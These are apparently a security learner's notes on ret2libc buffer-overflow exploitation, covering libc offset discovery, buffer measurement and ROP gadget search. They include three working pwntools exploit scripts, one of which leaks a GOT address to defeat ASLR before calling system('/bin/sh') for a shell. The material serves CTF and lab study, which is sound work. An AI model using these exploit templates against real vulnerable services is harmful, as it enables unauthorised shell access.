4.0 KiB
4.0 KiB
Ret2libc
-
Check binary via
checksec
, PIE shows start address, RELRO shows permissions of r/w to gotfile
-
Libc is affected by ASLR state of the machine, check via
cat /proc/sys/kernel/randomize_va_space
- Off = 0
- Partial = 1
- Full = 2
-
got
contains dynamically loaded functions -
plt
contains used loaded dynamical functions
Finding something to execute
- Interesting stuff to call from inside libc
/bin/sh
system
libc -- Finding Offsets
- Find libc address at runtime via gbd
info sharedlibrary
or statically via ldd
ldd ./<binary>
Find offsets to gadgets in libc
- On target find
sh
address inside libc
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
- Sub from
system
address from inside libc
readelf -s /lib32/libc.so.6 | grep system | awk '{print $2}'
- Pwntools can be used as well
libc = elf.libc
libc.address = 0x7ff83d8d000
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
Measure the Buffer
- With gef
pattern create
run
- Use pattern
pattern search $<register>
ROP -- Creating a Chain
- Creating a ROP chain to execute the
/bin/sh
with parameters - Check
- Architecture
- Calling convention
Manually
ROPgadget --binary <file> | grep rdi
- Find
ret
s, to put in front of rdi
objdump -d <file> | grep ret
Automated
Examples
Example without ASLR
from pwn import *
p = process('<binary>')
cbase = 0x<libc_base>
sys = cbase + <libc_system>
sh = cbase + <libc_shell>
rop_rdi = <found rop rdi>
rop_ret = <found rop ret>
payload = b'A' * <count>
payload += b'B' * 8
payload += p64(rop_rdi)
payload += p64(sh)
payload += p64(0x0) # maybe rop_ret
payload += p64(system)
p.recv()
p.sendline(payload)
p.interactive()
Example with ASLR
- Create context
#!/usr/bin/env python3
from pwn import *
context.binary = binary = '<binary>'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()
# ROP I, needed when ASLR is enabled
payload = b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
p.recvline()
log.info(f"gets: {hex(leak)}")
libc.address = leak - libc.symbols.gets
log.info(f"libc address: {hex(libc.address)}") # start address should be aligned
# ROP II
payload = b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)
p.sendline(payload)
p.recvline()
p.interactive()
Example: exploit_me
This is taken from shoulderhu's gitbook The libc base is found through a delta of the leaked value and libc gets symbol offset.
from pwn import *
context.binary = binary = './exploit_me'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
padding = b'A' * 18
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
p = process()
p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\0'))
p.recvline()
log.info(f'Gets leak => {hex(leak)}')
libc.address = leak - libc.symbols.gets
log.info(f'Libc base => {hex(libc.address)}')
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)
p.sendline(payload)
p.recvline()
p.interactive()